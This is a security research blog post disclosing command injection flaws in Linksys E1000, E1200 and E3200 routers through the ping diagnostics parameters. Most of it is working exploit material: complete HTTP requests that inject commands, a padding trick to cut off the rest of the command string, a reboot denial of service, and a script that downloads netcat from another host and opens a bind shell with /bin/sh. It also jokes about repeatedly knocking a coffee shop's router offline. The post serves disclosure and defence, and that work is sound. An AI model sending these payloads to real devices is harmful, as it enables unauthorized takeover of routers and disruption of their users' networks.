SpiderLabs Blog

Under The Hood: Linksys Remote Command Injection Vulnerabilities

Written by | May 31, 2013 1:13:00 PM

Several models in the Linksys E-Series WiFi routers running their respective current firmwares are prone to remote OS command injection vulnerabilities. In this article, we'll take a look at two of these vulnerabilities that exist due to improper validation of system command parameters passed via the stock Linksys web administration interface.

The first vulnerability I'll discuss is one I reported in this advisory and the second was previously published by Michael Messner. I'll walk you through the mechanics of exploiting each of them, and explain how and why they work. All of my testing was done using Linksys E1000, E1200, and E3200 models.

In the case of the E1000, these vulnerabilities do not require an attacker to be authenticated prior to performing the exploit. For the other models, authentication is not required when the router is in its factory default state but is required once the router has been configured using Cisco Connect software or configured manually. This is because an HTTP service running on TCP port 52000, which is used by Cisco Connect for initial configuration, does not prompt users for credentials like the HTTP service running by default on TCP port 80 does. Once an E1200 or E3200's configuration has changed, the service that listens on TCP/52000 is no longer started at boot. Post-configuration on an E1000, that service is still there and, as far as I can tell, there is no way to disable it.

Note that while researching these vulnerabilities, I was connected to each router's serial interface so I could see the terminal commands that were run as a result of interacting with its HTTP services, as well as the output of those commands. The output examples in this article are taken from that serial connection. Jon Claudius wrote an excellent article on how to connect to your device's serial interface.

This is the aforementioned Cisco Connect process that listens on TCP/52000 on these Linksys devices:

#ps aux...  107 0     S    /tmp/wm-httpd -p 52000 -w...

Looking in the /tmp directory, wm-httpd is a symlink to the httpd program responsible for the device's web administration interface:

lrwxrwxrwx    1 0    0      15 Jan  1 00:00 wm-httpd -> /usr/sbin/httpd

In an E-Series router's web administration interface, there is a Diagnostics page (Administration->Diagnostics).


Within the Ping Test portion of this page, there are three parameters that accept user input: ping_ip, ping_size, and ping_times.

Vulnerability #1: Injecting Commands Into 'ping_ip' (Confirmed on Linksys E1000)

Though there seems to be some sort of input validation going on for the value passed via the ping_ip parameter, it is possible to execute arbitrary commands by appending them after a valid IP address using two ampersand characters:

POST request:

POST /apply.cgi HTTP/1.1Host: 192.168.1.1:52000User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8;rv:18.0) Gecko/20100101 Firefox/18.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: http://192.168.1.1:52000/apply.cgiConnection: keep-aliveContent-Type: application/x-www-form-urlencodedContent-Length: 163submit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_ping&
action=&commit=0&ping_ip=127.0.0.1%26%26ls&ping_times=5&ping_size=32&traceroute_ip=

Serial Output:

# submit_button=[Diagnostics] submit_type=[start_ping]name=[Diagnostics] type=[start_ping] service=[start_ping] sleep=[1] action=[3]ip[127.0.0.1&&ls] times[5] size[32]signalling USER1Restart service=[start_ping]cmd=[ping -t 30 -c 5 -R 66560 -s 32 -f /tmp/ping.log 127.0.0.1&&ls &]cmd=[killall ping ](6033)killall: ping: no process killedwwwvarusrtmpsyssbinprocmntlibetcdevbin

This indicates that once the ping command successfully exits, the 'ls' command I injected is executed. The same goes for other commands, like 'reboot':

POST request:

POST /apply.cgi HTTP/1.1Host: 192.168.1.1:52000User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:18.0) Gecko/20100101 Firefox/18.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: http://192.168.1.1:52000/apply.cgiConnection: keep-aliveContent-Type: application/x-www-form-urlencodedContent-Length: 167submit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_ping&
action=&commit=0&ping_ip=127.0.0.1%26%26reboot&ping_times=5&ping_size=32&traceroute_ip=

Serial Output:

# submit_button=[Diagnostics] submit_type=[start_ping]name=[Diagnostics] type=[start_ping] service=[start_ping] sleep=[1] action=[3]ip[127.0.0.1&&reboot] times[5] size[32]signalling USER1Restart service=[start_ping]cmd=[ping -t 30 -c 5 -R 66560 -s 32 -f /tmp/ping.log 127.0.0.1&&reboot &]cmd=[killall ping ](24118)killall: ping: no process killedTerminated...........................………Sending SIGTERM to all processesinfo, Received SIGTERMUPnP::upnp_device_detach:br0: detach InternetGatewayDevice.xmlUPnP::upnp_shutdown:UPnP daemon stoppedUPnP::upnp_mainloop:UPnP shutdown!Sending SIGKILL to all processesRestarting system.Decompressing using gzip...........doneDecompressing using gzip...........doneStart to blink diag led …CFE version 1.0.37 for BCM947XX (32bit,SP,LE)Build Date: 01/13/10 11:50:36 CST (root@chungzi_pc)-snip-

The first thought that popped into my head after seeing this was that it'd be awfully easy to perform a social/psychological experiment by walking into a coffee shop that is equipped with an E1000 and repeatedly bouncing their router. Hipsters Gone Wild? The best part is that I don't even need to defeat any authentication mechanisms to do so!

Note that if I try to run a command that contains spaces ('ls -al'), the 'cmd' string doesn't get constructed.

POST Request:

POST /apply.cgi HTTP/1.1Host: 192.168.1.1:52000User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:18.0) Gecko/20100101 Firefox/18.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: http://192.168.1.1:52000/apply.cgiConnection: keep-aliveContent-Type: application/x-www-form-urlencodedContent-Length: 171submit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_ping&
action=&commit=0&ping_ip=127.0.0.1%26%26ls%20%2Dal&ping_times=5&ping_size=32&traceroute_ip=

Serial Output:

# submit_button=[Diagnostics] submit_type=[start_ping]name=[Diagnostics] type=[start_ping] service=[start_ping] sleep=[1] action=[3]ip[127.0.0.1&&ls -al] times[5] size[32]signalling USER1Restart service=[start_ping]

Since the E1000 is no longer supported by Linksys and won't be receiving any firmware updates, I'd say it's time to upgrade your hardware.

On the E1200/E3200, I was unable to execute any commands appended onto the IP address, as I did with the E1000. It appears that there is validation being done on that value, which prevents the ping command string from being constructed.

Next, I tried to inject commands on the E1000 using the ping_times parameter but was unsuccessful there as well. Onto ping_size…

Vulnerability #2: Injecting Commands Into 'ping_size' (Confirmed on Linksys E1000, E1200, and E3200)

The approach I take here is slightly different than Michael Messner's but the attack vector is the same. The issue is that there doesn't seem to be any validation being done on values passed to system commands via the ping_size parameter. As long as I can get the ping command to exit successfully, I can run whatever I want to afterwards. I did this by supplying a valid IP address to complete the initial ping command, and then my additional command(s):

POST request:

POST /apply.cgi HTTP/1.1Host: 192.168.1.1:52000User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:18.0) Gecko/20100101 Firefox/18.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: http://192.168.1.1:52000/apply.cgiConnection: keep-aliveContent-Type: application/x-www-form-urlencodedContent-Length: 183submit_button=Diagnostics&change_action=gozila_cgi&
submit_type=start_ping&action=&commit=0&ping_ip=127.0.0.1&ping_times=5&
ping_size=32%20127.0.0.1%26%26ls%20%2Dal&traceroute_ip=

Serial Output:

submit_button=[Diagnostics] submit_type=[start_ping]name=[Diagnostics] type=[start_ping] service=[start_ping] sleep=[1] action=[3]ip[127.0.0.1] times[5] size[32 127.0.0.1&&ls -al]signalling USER1Restart service=[start_ping]cmd=[ping -t 30 -c 5 -R 66560 -s 32 127.0.0.1&&ls -al -f /tmp/ping.log 127.0.0.1 &]cmd=[killall ping ](398)killall: ping: no process killedHit enter to continue...PING 127.0.0.1 (127.0.0.1): 24 data bytes32 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.5 ms32 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.4 ms32 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.4 ms32 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.4 ms32 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.4 ms--- 127.0.0.1 ping statistics ---5 packets transmitted, 5 packets received, 0% packet lossround-trip min/avg/max = 0.4/0.4/0.5 msls: illegal option -- fBusyBox v0.60.0 (2011.05.06-09:47+0000) multi-call binaryUsage: ls [-1AacCdeFilnpsTtuwxhk] [filenames…]Hit enter to continue…

As you can see, I'm not getting a directory listing because the built-in command line argument that specifies the location of the ping log and the ping_ip parameter's value are being appended. However, this is easy to get around because the length of the 'cmd' string is fixed. If I pad the end of my command with spaces, I can effectively push the remainder of the command string out of the way.

POST request:

POST /apply.cgi HTTP/1.1Host: 192.168.1.1:52000User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:18.0) Gecko/20100101 Firefox/18.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: http://192.168.1.1:52000/apply.cgiConnection: keep-aliveContent-Type: application/x-www-form-urlencodedContent-Length: 417submit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_ping&action=&commit=0&ping_ip=127.0.0.1&ping_times=5&ping_size=32%20127.0.0.1%26%26ls%20%2Dal%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20&traceroute_ip=

Serial Output:

# submit_button=[Diagnostics] submit_type=[start_ping]name=[Diagnostics] type=[start_ping] service=[start_ping] sleep=[1] action=[3]ip[127.0.0.1] times[5] size[32 127.0.0.1&&ls -al                 ]signalling USER1Restart service=[start_ping]cmd=[ping -t 30 -c 5 -R 66560 -s 32 127.0.0.1&&ls -al                  ]cmd=[killall ping ](710)killall: ping: no process killedPING 127.0.0.1 (127.0.0.1): 24 data bytes32 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.8 ms32 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.4 ms32 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.4 ms32 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.4 ms32 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.4 ms--- 127.0.0.1 ping statistics ---5 packets transmitted, 5 packets received, 0% packet lossround-trip min/avg/max = 0.4/0.4/0.8 msdrwxr-xr-x 5 513 514 1953 May 6 2011 wwwlrwxrwxrwx 1 513 514 7 May 6 2011 var -> tmp/vardrwxr-xr-x 6 513 514 55 May 6 2011 usrdrwxr-xr-x 1 0 0 0 Jan 1 2000 tmpdrwxrwxr-x 2 513 514 3 May 6 2011 sysdrwxr-xr-x 2 513 514 613 May 6 2011 sbindr-xr-xr-x 35 0 0 0 Jan 1 2000 procdrwxrwxr-x 2 513 514 3 May 6 2011 mntdrwxr-xr-x 3 513 514 177 May 6 2011 libdrwxr-xr-x 3 513 514 203 May 6 2011 etcdrwxr-xr-x 1 0 0 0 Jan 1 00:00 devdrwxr-xr-x 2 513 514 266 May 6 2011 bindrwxr-xr-x 13 513 514 119 May 6 2011 ..drwxr-xr-x 13 513 514 119 May 6 2011 .#

Next I statically compiled a netcat binary for the E1000 using the toolchain provided for WRT160N routers (this worked for all the E-Series routers I tested) with the intent of using the built-in wget command to fetch a shell script which would download my netcat binary, make it executable, and set up a netcat listener that I could connect to remotely in as few requests as possible. This is similar to what is described here. Given the size constraints of the 'cmd' string on the E1000, I had to break the attack up into two requests because I couldn't fit both the wget and sh commands into a single cmd string. On the E1200 and E3200, the 'cmd' string length is greater, allowing me to download my script and set up a netcat listener in a single request.

Contents of shell script, 'n':

wget http://192.168.1.128/nc -O /tmp/ncchmod 777 /tmp/nc/tmp/nc -v -l -p 9999 -e /bin/sh

Getting A Remote Shell: Linksys E1000

POST request #1:

POST /apply.cgi HTTP/1.1Host: 192.168.1.1:52000User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:18.0) Gecko/20100101 Firefox/18.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: http://192.168.1.1:52000/apply.cgiConnection: keep-aliveContent-Type: application/x-www-form-urlencodedContent-Length: 342submit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_ping&action=&commit=0&ping_ip=127.0.0.1&ping_times=5&ping_size=32%20127.0.0.1%26%26wget%20http%3A%2F%2F192.168.1.128%2Fn%20-O%20%2Ftmp%2Fn%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20&traceroute_ip=

Serial Output:

# submit_button=[Diagnostics] submit_type=[start_ping]
name=[Diagnostics] type=[start_ping] service=[start_ping] sleep=[1] action=[3]
ip[127.0.0.1] times[5] size[32 127.0.0.1&&wget http://192.168.1.128/n -O /tmp/n ]
signalling USER1
Restart service=[start_ping]
cmd=[ping -t 30 -c 5 -R 66560 -s 32 127.0.0.1&&wget http://192.168.1.128/n -O /tmp/n]
cmd=[killall ping ](1984)
killall: ping: no process killed
PING 127.0.0.1 (127.0.0.1): 24 data bytes
32 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.4 ms
32 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.4 ms
32 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.4 ms
32 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.4 ms
32 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.4 ms

--- 127.0.0.1 ping statistics ---
5 packets transmitted, 5 packets received, 0% packet loss
round-trip min/avg/max = 0.4/0.4/0.4 ms
n 100% |*****************************| 91 00:00 ETA

POST request #2:

POST /apply.cgi HTTP/1.1
Host: 192.168.1.1:52000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.1:52000/apply.cgi
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 302

submit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_ping&action=&commit=0&ping_ip=127.0.0.1&ping_times=5&ping_size=32%20127.0.0.1%26%26sh%20%2Ftmp%2Fn%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20&traceroute_ip=

Serial Output:

# submit_button=[Diagnostics] submit_type=[start_ping]
name=[Diagnostics] type=[start_ping] service=[start_ping] sleep=[1] action=[3]
ip[127.0.0.1] times[5] size[32 127.0.0.1&&sh /tmp/n ]
signalling USER1
Restart service=[start_ping]
cmd=[ping -t 30 -c 5 -R 66560 -s 32 127.0.0.1&&sh /tmp/n ]
cmd=[killall ping ](2173)
killall: ping: no process killed
PING 127.0.0.1 (127.0.0.1): 24 data bytes
32 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.4 ms
32 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.4 ms
32 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.4 ms
32 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.4 ms
32 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.4 ms

--- 127.0.0.1 ping statistics ---
5 packets transmitted, 5 packets received, 0% packet loss
round-trip min/avg/max = 0.4/0.4/0.4 ms
nc 100% |*****************************| 3520 KB 00:00 ETA
Connection from 192.168.1.136:64800

The last line shows that I connected to my netcat listener from 192.168.1.136. On that machine, where 192.168.1.1 is the E1000:

jleyrer@jlmbp:~$ nc 192.168.1.1 9999
ls
www
var
us
tmp
sys
sbin
proc
mnt
lib
etc
dev
bin

Getting A Remote Shell: E1200 & E3200 (E1200 shown)

POST request:

POST /apply.cgi HTTP/1.1
Host: 192.168.1.1:52000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.1:52000/apply.cgi
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 363

submit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_ping&action=&commit=0&ping_ip=127.0.0.1&ping_times=5&ping_size=32%20127.0.0.1%26%26wget%20http%3A%2F%2F192.168.1.128%2Fn%20-O%20%2Ftmp%2Fn%26%26sh%20%2Ftmp%2Fn%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20&traceroute_ip=

Serial Output:

# submit_button=[Diagnostics] submit_type=[start_ping]
name=[Diagnostics] type=[start_ping] service=[start_ping] sleep=[1] action=[3]
ip[127.0.0.1] times[5] size[32 127.0.0.1&&wget http://192.168.1.128/n -O /tmp/n&&sh /tmp/n ]
cmd=[/sbin/diag_pingbutton ]
cmd=[killall ping ]
killall: ping: no process killed
cmd=[ping -c 5 -s 32 127.0.0.1&&wget http://192.168.1.128/n -O /tmp/n&&sh /tmp/n ]
PING 127.0.0.1 (127.0.0.1): 32 data bytes
40 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.8 ms
40 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.7 ms
40 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.4 ms
40 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.4 ms
40 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.5 ms

--- 127.0.0.1 ping statistics ---
5 packets transmitted, 5 packets received, 0% packet loss
round-trip min/avg/max = 0.4/0.5/0.8 ms
Connecting to 192.168.1.128 (192.168.1.128:80)
n 100% |*******************************| 91 --:--:-- ETA
Connecting to 192.168.1.128 (192.168.1.128:80)
nc 100% |*******************************| 3520k 00:00:00 ETA
Connection from 192.168.1.100:51750

192.168.1.1 is the E1200:

jleyrer@jlmbp:~$ nc 192.168.1.1 9999
ls
www
var
us
tmp
sys
sbin
proc
mnt
lib
etc
dev
bin

Note that on all the routers I tested, these requests can also be sent as GET requests. The single GET request that can be used to exploit the E1200 & E3200 is as follows:

GET request:

GET /apply.cgi?submit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_ping&action=&commit=0&ping_ip=127.0.0.1&ping_times=5&ping_size=32%20127.0.0.1%26%26wget%20http%3A%2F%2F192.168.1.128%2Fn%20-O%20%2Ftmp%2Fn%26%26sh%20%2Ftmp%2Fn%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20&traceroute_ip= HTTP/1.1Host: 192.168.1.1:52000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.1:52000/apply.cgi
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 2

Serial Output:

# submit_button=[Diagnostics] submit_type=[start_ping]
name=[Diagnostics] type=[start_ping] service=[start_ping] sleep=[1] action=[3]
ip[127.0.0.1] times[5] size[32 127.0.0.1&&wget http://192.168.1.128/n -O /tmp/n&&sh /tmp/n ]
cmd=[/sbin/diag_pingbutton ]
cmd=[killall ping ]
killall: ping: no process killed
cmd=[ping -c 5 -s 32 127.0.0.1&&wget http://192.168.1.128/n -O /tmp/n&&sh /tmp/n ]
PING 127.0.0.1 (127.0.0.1): 32 data bytes
40 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.9 ms
40 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.5 ms
40 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.5 ms
40 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.5 ms
40 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.5 ms

--- 127.0.0.1 ping statistics ---
5 packets transmitted, 5 packets received, 0% packet loss
round-trip min/avg/max = 0.5/0.5/0.9 ms
Connecting to 192.168.1.128 (192.168.1.128:80)
n 100% |*******************************| 91 --:--:-- ETA
Connecting to 192.168.1.128 (192.168.1.128:80)
nc 100% |*******************************| 3520k 00:00:00 ETA
Connection from 192.168.1.140:52845

Now what?

Though all of these models are still widely used, the E1200 is the only one still supported by Linksys. They've released new firmware for it, Ver.2.0.05 (Build 2), and it's available on their website. As for the others, you're out of luck.

Unless you really need the ability to manage one of these devices externally, it's best to disable its Remote Management functionality. This would limit exposure to these attacks to your local network. However, there still exists the possibility of clever cross-site request forgery attacks using variants of the aforementioned GET requests in order to access your router's management interface and do nasty things.